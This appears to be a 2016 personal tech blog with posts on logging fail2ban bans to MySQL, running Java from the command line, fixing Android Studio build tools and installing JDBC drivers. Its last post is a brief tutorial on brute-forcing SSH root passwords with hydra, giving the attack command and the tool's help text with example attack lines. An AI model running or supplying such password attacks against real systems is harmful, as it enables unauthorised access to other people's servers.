Tuesday, November 15, 2016

Fail2ban: save your log into mysql and show it

Required:
  • fail2ban 0.9
  • mysql
  • web server with php (apache with php and mysql library)
Create user and its database in mysql. Give all privilege to its database for its user. You can use any existing database, here is only sample of database structures:
database name : myf2b
table name: kci_logipv4
No field datatype
1 logdate  datetime
2 logipv4  int(11)
3 logmsg varchar(1000)
4 kci_category  int(11)
5 id (int11)
6 codecontinent char(2)
7 codecontinent2 char(2)
8 codecontinent3 char(3)

table name: kci_category
No field datatype
1 id  int(11)
2 category  varchar(20)

Note:
  1. We store IPv4 in long.
  2. Field with underline is primary key 
Table kci_logipv4 will be used to store any log from trapped in fail2ban, and table kci_category will be used to categorize all log in type of attack. Populate kci_category with your wish, this is my category for example: 
id category
10  SSH          
20  FTP             
30 HTTP/HTTPS
40 SMTP/POP/IMAP/POP3/S

We need a small application to store any log trapped in fail2ban. I use PHP to do that. Here is kci_log.php source code https://github.com/dedetok/fail2ban-to-mysql/blob/gh-pages/kci_log.php
That's all. Now you create a custom action mlocaldb.conf for fail2ban to call kci_log.php. Put mlocaldb.conf in /etc/fail2ban/action.d/, here is mlocaldb.conf https://github.com/dedetok/fail2ban-to-mysql/blob/gh-pages/mlocaldb%2Cconf
Note: You need to change this part 'http://[your_domain]/kci_log.php' >> /home/[user]/logs/curlfail2ban.log
  • 'http://[your_domain]/kci_log.php' where kci_log.php reside
  • /home/[user]/logs/curlfail2ban.log where the log will be store. You can remove it after you confidence.
The final step, edit your /etc/fail2ban/jail.conf and add a line to use mlocaldb at the end of action, for example:
...
[sshd]

port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
enabled = true
filter = sshd
action = iptables-ipset-proto4[name=sshd]
        mlocaldb[category=10]
        abuseipdb[category=4,18,22] 
...
Note change category with id you inserted into table kci_category. For example 20 for proftpd.
Show it in your web. This is kci_logread.php source code to show the log, feel free to modify it . https://github.com/dedetok/fail2ban-to-mysql/blob/gh-pages/kci_logread.php

See on Github https://github.com/dedetok/fail2ban-to-mysql

Running java class from CLI in Debian

Prerequisite:
To set Java Environment for all users, add/edit /etc/environment:
JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"
CLASSPATH=".:/usr/share/java/mysql.jar:/usr/share/java/postgresql-jdbc4.jar"
I have a java class BlockedSSH.class. It required mysql.jar library. To run BlockedSSH.class from CLI and including all java library on runtime environment, use option -classpath:
$ /usr/bin/java -classpath $CLASSPATH:/root/java/ BlockedSSH
Java will find any java library that already added in /etc/environment. To check classpath
$ set | grep CLASSPATH
CLASSPATH=.:/usr/share/java/mysql.jar:/usr/share/java/postgresql-jdbc4.jar

Tuesday, November 1, 2016

JDK 8: executing command from java

To execute system/external command we need to use Process class. There are 2 ways to get this instance: 
  1. Using static method Runtime.getRuntime()
  2. Using ProcessBuilder
This is the example code to call ping or whois under Debian TestShell.java:
import java.util.Map;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.IOException;
import java.io.BufferedReader;
/*
Ref:
http://docs.oracle.com/javase/8/docs/api/java/lang/ProcessBuilder.html
http://www.javatips.net/blog/java-processbuilder-exampl
http://www.mkyong.com/java/how-to-execute-shell-command-from-java/

*/
class TestShell {
  public static void main(String[] args) {
    System.out.println("Creating ProcessBuilder Object");
    //ProcessBuilder pb = new ProcessBuilder("whois", "garasiku.web.id");
    ProcessBuilder pb = new ProcessBuilder("ping", "www.garasiku.web.id", "-c", "4");
    Map<String, String> env = pb.environment();
    System.out.println("size env: "+env.size());
    //Java 8 only, forEach and Lambda
    env.forEach((k,v)->System.out.println("Key : " + k + " Value : " + v));
    try {
      //Process p = Runtime.getRuntime().exec("ping www.garasiku.web.id -c 4");
      Process p = pb.start();
      System.out.println("dump standard output");
      InputStreamReader isr = new InputStreamReader(p.getInputStream());

      BufferedReader br = new BufferedReader(isr);
      String tmp="";
      while ((tmp = br.readLine()) != null) {
        System.out.println(tmp);
      }
      System.out.println("dump standard error");
      isr = new InputStreamReader(p.getInputStream());

      br = new BufferedReader(isr);
      tmp="";
      while ((tmp = br.readLine()) != null) {
        System.out.println(tmp);
      }
      // waitFor() method is used to wait till the process returns the exit value

      try {
        int exitValue = p.waitFor();
        System.out.println("Exit Value is " + exitValue);
      } catch (InterruptedException e) {
        e.printStackTrace();
      }
    } catch (IOException e) {
      System.out.println(e.toString());
    }  
  }
}

References:

Monday, October 31, 2016

Android Studio 2.2.2: failed to find Build Tools revision 25

This is very annoying! Every time you update your Android SDK Build-tools (for example 24.0.3 to 25), you need to edit your project configuration. It never happened on Eclipse before. Please bring back support to Eclipse to develop Android application.
Software:
  • Android SDK Manager 25.2.2 (Stand Alone)
  • Android Studio 2.2.2
  • Oracle JDK 1.8.0_102
  • Windows 10 x64
This is the error message:
Error:Failed to find Build Tools revision 24.0.2
<a href="/web/joomla/install.build.tools">Install Build Tools 24.0.2 and sync project</a>
To fix it, do these:
in 1: Project change view to Android
Go to [your_project]->app and open build.grandle 
change buildToolsVersion "24.0.2" -> buildToolsVersion "25.0.0"
...
android {
    compileSdkVersion 24
    buildToolsVersion "25.0.0"
...
Save it and click Try Again or Sync your project

Friday, October 28, 2016

Debian Jessie: installing OpenJDK-8, Mysql JDBC and PostgreSQL JDBC

Install all packages:
# apt-get install openjdk-8-jdk libmysql-java libpostgresql-jdbc-java libpostgresql-jdbc-java-doc
Note: openjdk-8-jdk requires backports repository, add this into /etc/apt/sources.list
deb http://ftp.de.debian.org/debian jessie-backports main
To set Java Environment for all users, add/edit /etc/environment:
JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"
CLASSPATH=".:/usr/share/java/mysql.jar:/usr/share/java/postgresql-jdbc4.jar"
Note: if you prefered to use postgresql-jdbc3, replace /usr/share/java/postgresql-jdbc4.jar with /usr/share/java/postgresql.jar
Example Java code loading MySQL:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Properties;
class TestDB {
    /*
      /usr/share/java
      http://dev.mysql.com/doc/connector-j/5.1/en/
      https://jdbc.postgresql.org/documentation/documentation.html
    */
   static Connection conn = null;   
   public static void main(String[] args) {
      // MySQL
      try {
         System.out.println("Loading Class com.mysql.jdbc.Driver");
         Class.forName("com.mysql.jdbc.Driver") ;
         System.out.println("Loading com.mysql.jdbc.Driver Successful");
         conn = DriverManager.getConnection("jdbc:mysql://localhost/database?user=user&password=password");
         // Do something with the Connection
         System.out.println("Test Connection Successful");
      } catch (SQLException ex) {
         // handle any errors
         System.out.println("SQLException: " + ex.getMessage());
         System.out.println("SQLState: " + ex.getSQLState());
         System.out.println("VendorError: " + ex.getErrorCode());
      } catch (ClassNotFoundException ex) {
         System.out.println("Class Not Found: " + ex.getMessage());
      }
      // PostgreSQL
      try {
         System.out.println("Loading Class org.postgresql.Driver");
         Class.forName("org.postgresql.Driver");
         System.out.println("Loading org.postgresql.Driver Successful");
         String url = "jdbc:postgresql://localhost/database";
         Properties props = new Properties();
         props.setProperty("user","user");
         props.setProperty("password","password");
         props.setProperty("ssl","true");
         conn = DriverManager.getConnection(url, props); 
         // or
         url = "jdbc:postgresql://localhost/database?user=user&password=password&ssl=true";
         Connection conn = DriverManager.getConnection(url);
         // Do something with the Connection
         System.out.println("Test Connection Successful");
      } catch (SQLException ex) {
         // handle any errors
         System.out.println("SQLException: " + ex.getMessage());
         System.out.println("SQLState: " + ex.getSQLState());
         System.out.println("VendorError: " + ex.getErrorCode());
      } catch (ClassNotFoundException ex) {
         System.out.println("Class Not Found: " + ex.getMessage());
      }
   }
}
References:

Thursday, October 27, 2016

Script Kiddies to use hydra

This is intended for Education purpose!

After researching how to defend our network, I want to share how to perform what they are doing. It is very easy to perform automatic password attack against various services. One of their tools is hydra. Chrome mark https://www.thc.org/ "The site ahead contains harmful programs" and Firefox mark it as "Reported Unwanted Software Page!". Who's care.... LOL
To install it
# apt-get install hydra
or
# yum install hydra
To create dictionary install British words
# apt-get install wbritish
or

# yum install words
You don't need to run this as root. 
Create a directory (whatever you want). I use directory hydra. 
$ mkdir hydra
$ cd hydra
Now create words file before running hydra.
$ cat /usr/share/dict/words > words.txt
You can perform ssh using
hydra -l root -P words.txt ssh://xxx.xxx.xxx.xxx
To get more option:
$ hydra -h
Hydra v8.0 (c) 2014 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvVd46] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -q        do not print messages about connection erros
  -U        service module usage details
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at http://www.thc.org/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
These services were not compiled in: sapr3 afp ncp oracle.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.
E.g.:  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
       % export HYDRA_PROXY_HTTP=http://proxy:8080
       % export HYDRA_PROXY_AUTH=user:pass

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh
WARNING: FOR EDUCATION PURPOSE! DO IT ON YOUR LOCAL NETWORK AND WITH YOUR OWN RISK. DOING THIS IS ON PUBLIC NETWORK IS BREAKING A LAW!